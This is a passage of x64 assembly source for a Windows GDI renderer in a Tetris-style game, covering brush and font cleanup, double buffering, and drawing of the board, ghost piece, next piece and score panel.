    ; TRAP: Each entry is DWORD (4 bytes), so multiply by 4
    mov eax, r8d
    shl eax, 2                       ; *4 for DWORD indexing
    lea rdx, colorTable
    mov ecx, DWORD PTR [rdx + rax]   ; BGR color value
    call CreateSolidBrush

    ; Store brush handle in array
    ; TRAP: Handles are 64-bit (QWORD), so multiply by 8
    mov r8, [rsp+90h]
    mov QWORD PTR [rsi + RENDERER_STATE.colorBrushes + r8*8], rax
    inc r8d
    cmp r8d, 8
    jl @@create_brushes

    ; Restore non-volatile registers
    mov rsi, [rsp+80h]
    mov rbx, [rsp+88h]

    mov rsp, rbp
    pop rbp
    ret
InitRenderer ENDP

; Release all GDI resources (fonts, brushes, DC, bitmap)
; Must be called before application exit to prevent resource leaks
; RCX = pRenderer
CleanupRenderer PROC pRenderer:QWORD
    push rbp
    mov rbp, rsp
    and rsp, -16
    sub rsp, 40h

    mov [rsp+30h], rsi
    mov rsi, rcx

    cmp QWORD PTR [rsi].RENDERER_STATE.hFontNormal, 0
    je @@skip_font1
    mov rcx, [rsi].RENDERER_STATE.hFontNormal
    call DeleteObject
@@skip_font1:
    
    cmp QWORD PTR [rsi].RENDERER_STATE.hFontSmall, 0
    je @@skip_font2
    mov rcx, [rsi].RENDERER_STATE.hFontSmall
    call DeleteObject
@@skip_font2:
    
    cmp QWORD PTR [rsi].RENDERER_STATE.hFontPause, 0
    je @@skip_font3
    mov rcx, [rsi].RENDERER_STATE.hFontPause
    call DeleteObject
@@skip_font3:
    
    cmp QWORD PTR [rsi].RENDERER_STATE.hFontGameOver, 0
    je @@skip_font4
    mov rcx, [rsi].RENDERER_STATE.hFontGameOver
    call DeleteObject
@@skip_font4:
    
    xor r8d, r8d
@@delete_brushes:
    mov rax, QWORD PTR [rsi + RENDERER_STATE.colorBrushes + r8*8]
    test rax, rax
    jz @@skip_brush
    mov rcx, rax
    mov [rsp+20h], r8 
    call DeleteObject
    mov r8, [rsp+20h]
@@skip_brush:
    inc r8d
    cmp r8d, 8
    jl @@delete_brushes
    
    cmp QWORD PTR [rsi].RENDERER_STATE.hdcMem, 0
    je @@skip_dc
    
    cmp QWORD PTR [rsi].RENDERER_STATE.hbmOld, 0
    je @@skip_select
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsi].RENDERER_STATE.hbmOld
    call SelectObject
@@skip_select:
    
    cmp QWORD PTR [rsi].RENDERER_STATE.hbmMem, 0
    je @@skip_bitmap
    mov rcx, [rsi].RENDERER_STATE.hbmMem
    call DeleteObject
@@skip_bitmap:
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    call DeleteDC
@@skip_dc:
    
    mov rsi, [rsp+30h]
    mov rsp, rbp
    pop rbp
    ret
CleanupRenderer ENDP

; Create or recreate offscreen bitmap for double buffering
; Releases old bitmap if exists, creates new one matching window size
; RCX = pRenderer
CreateBackBuffer PROC pRenderer:QWORD
    push rbp
    mov rbp, rsp
    and rsp, -16
    sub rsp, 40h

    mov [rsp+30h], rsi
    mov rsi, rcx

    cmp QWORD PTR [rsi].RENDERER_STATE.hdcMem, 0
    je @@create_new
    
    cmp QWORD PTR [rsi].RENDERER_STATE.hbmOld, 0
    je @@skip_old
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsi].RENDERER_STATE.hbmOld
    call SelectObject
@@skip_old:
    
    cmp QWORD PTR [rsi].RENDERER_STATE.hbmMem, 0
    je @@skip_bmp
    mov rcx, [rsi].RENDERER_STATE.hbmMem
    call DeleteObject
@@skip_bmp:
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    call DeleteDC
    
@@create_new:
    mov rcx, [rsi].RENDERER_STATE.hwnd
    call GetDC
    mov [rsp+28h], rax ; Save hdc (20h is stack arg slot)
    
    mov rcx, rax
    call CreateCompatibleDC
    mov [rsi].RENDERER_STATE.hdcMem, rax
    
    mov rcx, [rsp+28h] 
    mov edx, [rsi].RENDERER_STATE.wWidth
    mov r8d, [rsi].RENDERER_STATE.wHeight
    call CreateCompatibleBitmap
    mov [rsi].RENDERER_STATE.hbmMem, rax
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, rax
    call SelectObject
    mov [rsi].RENDERER_STATE.hbmOld, rax
    
    mov rcx, [rsi].RENDERER_STATE.hwnd
    mov rdx, [rsp+28h]
    call ReleaseDC
    
    mov rsi, [rsp+30h]
    mov rsp, rbp
    pop rbp
    ret
CreateBackBuffer ENDP

; Update renderer dimensions and recreate backbuffer
; Called on window resize or initial setup
; RCX = pRenderer, EDX = width, R8D = height
ResizeRenderer PROC pRenderer:QWORD, wWidth:DWORD, wHeight:DWORD
    push rbp
    mov rbp, rsp
    and rsp, -16
    sub rsp, 40h

    mov [rsp+30h], rsi
    mov rsi, rcx
    mov [rsi].RENDERER_STATE.wWidth, edx
    mov [rsi].RENDERER_STATE.wHeight, r8d
    
    mov rcx, rsi
    call CreateBackBuffer
    
    mov rsi, [rsp+30h]
    mov rsp, rbp
    pop rbp
    ret
ResizeRenderer ENDP

; Main render function - draws entire game frame to backbuffer then blits to screen
; Clears background, draws board/pieces/UI, then copies to window DC
; RCX = pRenderer, RDX = pGame, R8 = hdc (window device context)
RenderGame PROC pRenderer:QWORD, pGame:QWORD, hdc:QWORD
    push rbp
    mov rbp, rsp
    and rsp, -16
    sub rsp, 80h

    mov [rsp+50h], rsi
    mov [rsp+58h], rdi
    mov [rsp+60h], rbx
    mov [rsp+68h], r12

    mov rsi, rcx
    mov rdi, rdx
    mov r12, r8

    cmp QWORD PTR [rsi].RENDERER_STATE.hdcMem, 0
    je @@exit
    
    mov DWORD PTR [rsp+28h], 0
    mov DWORD PTR [rsp+2Ch], 0
    mov eax, [rsi].RENDERER_STATE.wWidth
    mov DWORD PTR [rsp+30h], eax
    mov DWORD PTR [rsp+34h], GAME_AREA_HEIGHT
    
    mov ecx, 00141414h
    call CreateSolidBrush
    mov rbx, rax
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    lea rdx, [rsp+28h]
    mov r8, rax
    call FillRect
    
    mov rcx, rbx
    call DeleteObject
    
    mov DWORD PTR [rsp+28h], 0
    mov DWORD PTR [rsp+2Ch], GAME_AREA_HEIGHT
    mov eax, [rsi].RENDERER_STATE.wWidth
    mov DWORD PTR [rsp+30h], eax
    mov eax, [rsi].RENDERER_STATE.wHeight
    mov DWORD PTR [rsp+34h], eax
    
    mov ecx, 00F0F0F0h
    call CreateSolidBrush
    mov rbx, rax
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    lea rdx, [rsp+28h]
    mov r8, rax
    call FillRect
    
    mov rcx, rbx
    call DeleteObject
    
    mov rcx, rsi
    mov rdx, rdi
    call DrawBoard
    
    mov rcx, rsi
    mov rdx, rdi
    call DrawGhostPiece
    
    mov rcx, rsi
    lea rdx, [rdi].GAME_STATE.currentPiece
    call DrawPiece
    
    mov rcx, rsi
    mov rdx, rdi
    call DrawInfo
    
    mov rcx, rsi
    lea rdx, [rdi].GAME_STATE.nextPiece
    call DrawNextPiece
    
    mov rcx, r12 ; hdc
    xor edx, edx
    xor r8d, r8d
    mov r9d, [rsi].RENDERER_STATE.wWidth
    mov DWORD PTR [rsp+20h], GAME_AREA_HEIGHT
    mov rax, [rsi].RENDERER_STATE.hdcMem
    mov QWORD PTR [rsp+28h], rax
    mov DWORD PTR [rsp+30h], 0
    mov DWORD PTR [rsp+38h], 0
    mov DWORD PTR [rsp+40h], 00CC0020h ; SRCCOPY
    call BitBlt
    
@@exit:
    mov rsi, [rsp+50h]
    mov rdi, [rsp+58h]
    mov rbx, [rsp+60h]
    mov r12, [rsp+68h]
    
    mov rsp, rbp
    pop rbp
    ret
RenderGame ENDP

; Draw board grid lines and filled cells with line clear animation overlay
; Iterates through board array and draws colored rectangles for occupied cells
; RCX = pRenderer, RDX = pGame
DrawBoard PROC pRenderer:QWORD, pGame:QWORD
    push rbp
    mov rbp, rsp
    and rsp, -16
    sub rsp, 80h

    mov [rsp+60h], rsi
    mov [rsp+68h], rdi
    mov [rsp+70h], rbx

    mov rsi, rcx
    mov rdi, rdx

    mov ecx, 0
    mov edx, 1
    mov r8d, 00323232h
    call CreatePen
    mov rbx, rax 
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, rax
    call SelectObject
    mov [rsp+50h], rax 
    
    mov eax, [rdi].GAME_STATE.boardHeight
    inc eax
    mov [rsp+58h], eax 
    
    mov eax, [rdi].GAME_STATE.boardWidth
    inc eax
    mov [rsp+5Ch], eax 
    
    xor r8d, r8d 
    mov [rsp+40h], r8d
    
@@hline_loop:
    mov r8d, [rsp+40h]
    cmp r8d, [rsp+58h]
    jge @@hline_done
    
    imul r9d, r8d, BLOCK_SIZE
    add r9d, BOARD_Y
    
    mov eax, [rdi].GAME_STATE.boardWidth
    imul eax, BLOCK_SIZE
    add eax, BOARD_X
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, BOARD_X
    
    mov r8d, r9d ; Y
    xor r9, r9
    
    mov [rsp+48h], rax
    
    call MoveToEx
    
    mov rax, [rsp+48h]
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, eax ; X
    mov r8d, [rsp+40h]
    imul r8d, BLOCK_SIZE
    add r8d, BOARD_Y ; Y 
    
    call LineTo
    
    mov r8d, [rsp+40h]
    inc r8d
    mov [rsp+40h], r8d
    jmp @@hline_loop
    
@@hline_done:
    mov DWORD PTR [rsp+40h], 0
    
@@vline_loop:
    mov r8d, [rsp+40h]
    cmp r8d, [rsp+5Ch]
    jge @@vline_done
    
    imul r9d, r8d, BLOCK_SIZE
    add r9d, BOARD_X ; X
    
    mov eax, [rdi].GAME_STATE.boardHeight
    imul eax, BLOCK_SIZE
    add eax, BOARD_Y ; Target Y
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, r9d ; X
    mov r8d, BOARD_Y ; Y
    xor r9, r9
    
    mov [rsp+48h], rax ; Save Target Y
    
    call MoveToEx
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov r8d, [rsp+40h]
    imul r8d, BLOCK_SIZE
    add r8d, BOARD_X ; X
    mov edx, r8d
    
    mov r8d, [rsp+48h] ; Y
    
    call LineTo
    
    mov r8d, [rsp+40h]
    inc r8d
    mov [rsp+40h], r8d
    jmp @@vline_loop
    
@@vline_done:
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsp+50h] 
    call SelectObject
    
    mov rcx, rbx 
    call DeleteObject
    
    mov DWORD PTR [rsp+40h], 0 ; y
    
@@outer_loop:
    mov eax, [rsp+40h]
    cmp eax, [rdi].GAME_STATE.boardHeight
    jge @@outer_done
    
    mov DWORD PTR [rsp+44h], 0 ; x
    
@@inner_loop:
    mov eax, [rsp+44h]
    cmp eax, [rdi].GAME_STATE.boardWidth
    jge @@inner_done
    
    mov eax, [rsp+40h]
    imul eax, [rdi].GAME_STATE.boardWidth
    add eax, [rsp+44h]
    lea r10, [rdi].GAME_STATE.board
    movzx r8d, byte ptr [r10 + rax]
    
    test r8d, r8d
    jz @@skip_block
    
    mov eax, [rsp+44h]
    imul eax, BLOCK_SIZE
    add eax, BOARD_X
    inc eax
    mov DWORD PTR [rsp+20h], eax ; Left
    
    mov eax, [rsp+40h]
    imul eax, BLOCK_SIZE
    add eax, BOARD_Y
    inc eax
    mov DWORD PTR [rsp+24h], eax ; Top
    
    mov eax, [rsp+20h]
    add eax, BLOCK_SIZE - 2
    mov DWORD PTR [rsp+28h], eax ; Right
    
    mov eax, [rsp+24h]
    add eax, BLOCK_SIZE - 2
    mov DWORD PTR [rsp+2Ch], eax ; Bottom
    
    and r8d, 7
    mov rax, QWORD PTR [rsi + RENDERER_STATE.colorBrushes + r8*8]
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    lea rdx, [rsp+20h]
    mov r8, rax
    call FillRect
    
@@skip_block:
    inc DWORD PTR [rsp+44h]
    jmp @@inner_loop
    
@@inner_done:
    inc DWORD PTR [rsp+40h]
    jmp @@outer_loop
    
@@outer_done:
    ; Draw smooth fade-out overlay for clearing lines
    cmp BYTE PTR [rdi].GAME_STATE.clearActive, 0
    je @@no_overlay

    ; Calculate fade color: gold (255,215,0) -> black (0,0,0)
    ; intensity = (300 - timer) / 300  (sync with CLEAR_ANIM_MS in game.asm)
    ; R = 255 * intensity, G = 215 * intensity, B = 0
    mov eax, [rdi].GAME_STATE.clearTimer
    mov ecx, 300                     ; Must match CLEAR_ANIM_MS in game.asm
    sub ecx, eax                     ; ECX = 300 - timer (remaining intensity)
    jle @@no_overlay                 ; Safety: skip if timer >= 300

    ; Calculate R component: 255 * (300-timer) / 300
    mov eax, 255
    imul eax, ecx                    ; EAX = 255 * (300-timer)
    xor edx, edx
    mov r8d, 300                     ; Must match CLEAR_ANIM_MS in game.asm
    div r8d                          ; EAX = R component
    mov r9d, eax                     ; R9D = R (save)

    ; Calculate G component: 215 * (300-timer) / 300
    mov eax, 215
    imul eax, ecx                    ; EAX = 215 * (300-timer)
    xor edx, edx
    div r8d                          ; EAX = G component

    ; Compose BGR color: (0 << 16) | (G << 8) | R
    shl eax, 8                       ; G << 8
    or eax, r9d                      ; | R
    mov ecx, eax                     ; ECX = final BGR color

    call CreateSolidBrush

@@brush_created:
    mov [rsp+78h], rax               ; Save brush handle

    ; Iterate through rows and draw overlay for rows in clearMask
    xor ebx, ebx                     ; Row counter

@@overlay_loop:
    cmp ebx, [rdi].GAME_STATE.boardHeight
    jge @@overlay_done

    ; Check if this row is in clearMask
    mov eax, 1
    mov ecx, ebx
    shl eax, cl                      ; EAX = 1 << row
    test eax, [rdi].GAME_STATE.clearMask
    jz @@next_overlay_row

    ; Calculate row rectangle
    mov DWORD PTR [rsp+20h], BOARD_X + 1              ; Left
    mov eax, ebx
    imul eax, BLOCK_SIZE
    add eax, BOARD_Y + 1
    mov DWORD PTR [rsp+24h], eax                      ; Top

    mov eax, [rdi].GAME_STATE.boardWidth
    imul eax, BLOCK_SIZE
    add eax, BOARD_X - 1
    mov DWORD PTR [rsp+28h], eax                      ; Right

    mov eax, ebx
    imul eax, BLOCK_SIZE
    add eax, BOARD_Y + BLOCK_SIZE - 1
    mov DWORD PTR [rsp+2Ch], eax                      ; Bottom

    ; Draw overlay rectangle
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    lea rdx, [rsp+20h]
    mov r8, [rsp+78h]
    mov [rsp+30h], rbx               ; Save row counter
    call FillRect
    mov rbx, [rsp+30h]               ; Restore row counter

@@next_overlay_row:
    inc ebx
    jmp @@overlay_loop

@@overlay_done:
    ; Delete the brush
    mov rcx, [rsp+78h]
    call DeleteObject

@@no_overlay:
    mov rsi, [rsp+60h]
    mov rdi, [rsp+68h]
    mov rbx, [rsp+70h]

    mov rsp, rbp
    pop rbp
    ret
DrawBoard ENDP

; Draw ghost piece preview at landing position
; TRAP x64: Must preserve RSI, RDI, RBX (non-volatile)
; Shows where the piece will land with semi-transparent hatch pattern
DrawGhostPiece PROC pRenderer:QWORD, pGame:QWORD
    push rbp
    mov rbp, rsp
    and rsp, -16                     ; 16-byte alignment
    sub rsp, 0B0h                    ; Shadow space + 48-byte local PIECE copy

    ; Save non-volatile registers
    mov [rsp+90h], rsi
    mov [rsp+98h], rdi
    mov [rsp+0A0h], rbx

    mov rsi, rcx                     ; RSI = pRenderer
    mov rdi, rdx                     ; RDI = pGame

    ; Skip if game over, paused, or ghost disabled
    mov al, [rdi].GAME_STATE.gameOver
    test al, al
    jnz @@exit

    mov al, [rdi].GAME_STATE.paused
    test al, al
    jnz @@exit

    mov al, [rdi].GAME_STATE.showGhost
    test al, al
    jz @@exit
    
    ; Copy currentPiece to local stack variable (48 bytes)
    ; TRAP: Manual byte-by-byte copy to preserve exact structure
    lea r8, [rsp+60h]                ; Local ghost piece on stack
    lea r9, [rdi].GAME_STATE.currentPiece
    mov ecx, 48                      ; sizeof(PIECE)

@@copy_loop:
    mov al, [r9]
    mov [r8], al
    inc r8
    inc r9
    dec ecx
    jnz @@copy_loop

    lea rbx, [rsp+60h]               ; RBX = &ghostPiece

    ; Find landing position by moving down until collision
@@find_landing:
    inc DWORD PTR [rbx+8]            ; ghostPiece.y++

    mov rcx, rdi                     ; pGame
    mov rdx, rbx                     ; &ghostPiece
    call CheckCollision

    test eax, eax
    jz @@find_landing

    ; Back up one row to last valid position
    dec DWORD PTR [rbx+8]            ; ghostPiece.y--
    
    lea rax, [rdi].GAME_STATE.currentPiece
    mov edx, [rax+8] 
    cmp edx, [rbx+8] 
    jge @@exit
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, 1
    call SetBkMode
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, 00181818h
    call SetBkColor
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, 00484848h
    call SetTextColor
    
    mov ecx, 5 
    mov edx, 00484848h
    call CreateHatchBrush
    mov [rsp+50h], rax 
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, rax
    call SelectObject
    mov [rsp+58h], rax 
    
    mov eax, [rbx+4] ; x
    mov [rsp+40h], eax ; px
    mov eax, [rbx+8] ; y
    mov [rsp+44h], eax ; py
    
    xor r10d, r10d 
@@loop_blocks:
    cmp r10d, 4
    jge @@loop_done
    
    mov eax, DWORD PTR [rbx + 16 + r10*8]
    add eax, [rsp+40h]
    mov edx, DWORD PTR [rbx + 16 + r10*8 + 4]
    add edx, [rsp+44h]
    
    cmp edx, 0
    jl @@skip_draw
    
    imul eax, BLOCK_SIZE
    add eax, BOARD_X
    inc eax
    mov DWORD PTR [rsp+20h], eax ; left
    
    imul edx, BLOCK_SIZE
    add edx, BOARD_Y
    inc edx
    mov DWORD PTR [rsp+24h], edx ; top
    
    mov eax, DWORD PTR [rsp+20h]
    add eax, BLOCK_SIZE - 2
    mov DWORD PTR [rsp+28h], eax ; right
    
    mov eax, DWORD PTR [rsp+24h]
    add eax, BLOCK_SIZE - 2
    mov DWORD PTR [rsp+2Ch], eax ; bottom
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    lea rdx, [rsp+20h]
    mov r8, [rsp+50h]

    mov [rsp+30h], r10 ; Save loop (safe slot)
    call FillRect
    mov r10, [rsp+30h]
    
@@skip_draw:
    inc r10d
    jmp @@loop_blocks
    
@@loop_done:
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsp+58h]
    call SelectObject
    
    mov rcx, [rsp+50h]
    call DeleteObject
    
@@exit:
    mov rsi, [rsp+90h]
    mov rdi, [rsp+98h]
    mov rbx, [rsp+0A0h]
    
    mov rsp, rbp
    pop rbp
    ret
DrawGhostPiece ENDP

; Draw a tetromino piece at its current board position
; Used for rendering the active falling piece
; RCX = pRenderer, RDX = pPiece
DrawPiece PROC pRenderer:QWORD, pPiece:QWORD
    push rbp
    mov rbp, rsp
    and rsp, -16
    sub rsp, 60h

    mov [rsp+40h], rsi
    mov [rsp+48h], rdi
    mov [rsp+50h], rbx

    mov rsi, rcx
    mov rdi, rdx

    movzx eax, byte ptr [rdi+1] ; color
    and eax, 7
    mov rbx, QWORD PTR [rsi + RENDERER_STATE.colorBrushes + rax*8]
    
    mov eax, [rdi+4] ; x
    mov [rsp+30h], eax
    mov eax, [rdi+8] ; y
    mov [rsp+34h], eax
    
    xor r10d, r10d
@@loop_blocks:
    cmp r10d, 4
    jge @@loop_done
    
    mov eax, DWORD PTR [rdi + 16 + r10*8]
    add eax, [rsp+30h]
    mov edx, DWORD PTR [rdi + 16 + r10*8 + 4]
    add edx, [rsp+34h]
    
    cmp edx, 0
    jl @@skip_draw
    
    imul eax, BLOCK_SIZE
    add eax, BOARD_X
    inc eax
    mov DWORD PTR [rsp+20h], eax
    
    imul edx, BLOCK_SIZE
    add edx, BOARD_Y
    inc edx
    mov DWORD PTR [rsp+24h], edx
    
    mov eax, DWORD PTR [rsp+20h]
    add eax, BLOCK_SIZE - 2
    mov DWORD PTR [rsp+28h], eax
    
    mov eax, DWORD PTR [rsp+24h]
    add eax, BLOCK_SIZE - 2
    mov DWORD PTR [rsp+2Ch], eax
    
    movzx r8d, byte ptr [rdi+1] ; color
    and r8d, 7

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    lea rdx, [rsp+20h]
    mov r8, rbx

    mov [rsp+38h], r10 ; Save loop
    call FillRect
    mov r10, [rsp+38h]
    
@@skip_draw:
    inc r10d
    jmp @@loop_blocks
    
@@loop_done:
    mov rsi, [rsp+40h]
    mov rdi, [rsp+48h]
    mov rbx, [rsp+50h]
    
    mov rsp, rbp
    pop rbp
    ret
DrawPiece ENDP

; Draw "Next:" label and preview of upcoming piece in info panel
; RCX = pRenderer, RDX = pPiece (nextPiece)
DrawNextPiece PROC pRenderer:QWORD, pPiece:QWORD
    push rbp
    mov rbp, rsp
    and rsp, -16
    sub rsp, 60h

    mov [rsp+40h], rsi
    mov [rsp+48h], rdi
    mov [rsp+50h], rbx

    mov rsi, rcx
    mov rdi, rdx

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, 1
    call SetBkMode
    
    movzx eax, byte ptr [rdi+1] ; color
    and eax, 7
    lea rcx, colorTable
    mov eax, DWORD PTR [rcx + rax*4]
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, eax
    call SetTextColor
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsi].RENDERER_STATE.hFontNormal
    call SelectObject
    mov [rsp+30h], rax ; hOldFont
    
    lea rcx, szNext
    call lstrlenA
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X
    mov r8d, INFO_Y + 135
    lea r9, szNext
    mov DWORD PTR [rsp+20h], eax
    call TextOutA
    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsp+30h]
    call SelectObject
    
    movzx eax, byte ptr [rdi+1]
    and eax, 7
    mov rbx, QWORD PTR [rsi + RENDERER_STATE.colorBrushes + rax*8]
    
    xor r10d, r10d
@@loop_next:
    cmp r10d, 4
    jge @@loop_next_done
    
    mov eax, DWORD PTR [rdi + 16 + r10*8]
    imul eax, BLOCK_SIZE
    add eax, INFO_X + 20
    inc eax
    mov DWORD PTR [rsp+20h], eax
    
    mov edx, DWORD PTR [rdi + 16 + r10*8 + 4]
    imul edx, BLOCK_SIZE
    add edx, INFO_Y + 170
    inc edx
    mov DWORD PTR [rsp+24h], edx
    
    mov eax, DWORD PTR [rsp+20h]
    add eax, BLOCK_SIZE - 2
    mov DWORD PTR [rsp+28h], eax
    
    mov eax, DWORD PTR [rsp+24h]
    add eax, BLOCK_SIZE - 2
    mov DWORD PTR [rsp+2Ch], eax
    
    movzx r8d, byte ptr [rdi+1]
    and r8d, 7

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    lea rdx, [rsp+20h]
    mov r8, rbx

    mov [rsp+30h], r10 ; Save loop
    call FillRect
    mov r10, [rsp+30h]
    
    inc r10d
    jmp @@loop_next
    
@@loop_next_done:
    mov rsi, [rsp+40h]
    mov rdi, [rsp+48h]
    mov rbx, [rsp+50h]
    
    mov rsp, rbp
    pop rbp
    ret
DrawNextPiece ENDP

; Draw info panel: score, lines, level, high score, controls, author info
; Also renders PAUSED/GAME OVER overlays when appropriate
; RCX = pRenderer, RDX = pGame
DrawInfo PROC pRenderer:QWORD, pGame:QWORD
    push rbp
    mov rbp, rsp
    and rsp, -16
    sub rsp, 220h

    mov [rsp+210h], rsi
    mov [rsp+218h], rdi
    mov [rsp+200h], rbx

    mov rsi, rcx
    mov rdi, rdx

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, 1
    call SetBkMode

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, 00FFFFFFh
    call SetTextColor

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsi].RENDERER_STATE.hFontSmall
    call SelectObject
    mov [rsp+1F0h], rax ; hOldFont

    
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, 0080FF80h
    call SetTextColor

    lea rcx, szControls
    call lstrlenA

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X
    mov r8d, 15
    lea r9, szControls
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

    mov ecx, 0
    mov edx, 1
    mov r8d, 00323232h
    call CreatePen
    mov rbx, rax

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, rax
    call SelectObject
    mov [rsp+1E8h], rax

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X - 5
    mov r8d, 32
    xor r9, r9
    call MoveToEx

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X + 165
    mov r8d, 32
    call LineTo

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsp+1E8h]
    call SelectObject

    mov rcx, rbx
    call DeleteObject

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, 00C0C0C0h
    call SetTextColor

    lea rcx, szCtrlF2
    call lstrlenA
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X + 5
    mov r8d, 36
    lea r9, szCtrlF2
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

    lea rcx, szCtrlP
    call lstrlenA
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X + 5
    mov r8d, 49
    lea r9, szCtrlP
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

    lea rcx, szCtrlArrows
    call lstrlenA
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X + 5
    mov r8d, 62
    lea r9, szCtrlArrows
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

    lea rcx, szCtrlSpace
    call lstrlenA
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X + 5
    mov r8d, 75
    lea r9, szCtrlSpace
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

    lea rcx, szCtrlEsc
    call lstrlenA
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X + 5
    mov r8d, 88
    lea r9, szCtrlEsc
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

    mov ecx, 0
    mov edx, 1
    mov r8d, 00323232h
    call CreatePen
    mov rbx, rax

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, rax
    call SelectObject
    mov [rsp+1E0h], rax

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X - 5
    mov r8d, 105
    xor r9, r9
    call MoveToEx

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X + 165
    mov r8d, 105
    call LineTo

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsp+1E0h]
    call SelectObject

    mov rcx, rbx
    call DeleteObject

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsp+1F0h]
    call SelectObject

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, 00FFFFFFh
    call SetTextColor

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsi].RENDERER_STATE.hFontNormal
    call SelectObject
    mov [rsp+1F0h], rax

    lea rcx, [rsp+100h]
    lea rdx, szScore
    mov r8d, [rdi].GAME_STATE.score
    call wsprintfA

    lea rcx, [rsp+100h]
    call lstrlenA

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X
    mov r8d, INFO_Y + 60
    lea r9, [rsp+100h]
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

    lea rcx, [rsp+100h]
    lea rdx, szLines
    mov r8d, [rdi].GAME_STATE.lines
    call wsprintfA

    lea rcx, [rsp+100h]
    call lstrlenA

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X
    mov r8d, INFO_Y + 85
    lea r9, [rsp+100h]
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

    lea rcx, [rsp+100h]
    lea rdx, szLevel
    mov r8d, [rdi].GAME_STATE.level
    call wsprintfA

    lea rcx, [rsp+100h]
    call lstrlenA

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X
    mov r8d, INFO_Y + 110
    lea r9, [rsp+100h]
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, 0000D7FFh
    call SetTextColor

    lea rcx, [rsp+100h]
    lea rdx, szRecord
    mov r8d, [rdi].GAME_STATE.highScore
    call wsprintfA

    lea rcx, [rsp+100h]
    call lstrlenA

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X
    mov r8d, INFO_Y + 260
    lea r9, [rsp+100h]
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

    lea r10, [rdi].GAME_STATE.highScoreName
    cmp WORD PTR [r10], 0
    je @@skip_name

    mov rcx, 0
    mov edx, 0
    mov r8, r10
    mov r9d, -1
    lea rax, [rsp+80h]
    mov QWORD PTR [rsp+20h], rax
    mov DWORD PTR [rsp+28h], 128
    mov QWORD PTR [rsp+30h], 0
    mov QWORD PTR [rsp+38h], 0
    call WideCharToMultiByte

    lea rcx, [rsp+80h]
    call lstrlenA

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X
    mov r8d, INFO_Y + 235
    lea r9, [rsp+80h]
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

@@skip_name:
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, 00FFFFFFh
    call SetTextColor

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsp+1F0h]
    call SelectObject

    mov ecx, 0
    mov edx, 1
    mov r8d, 00323232h
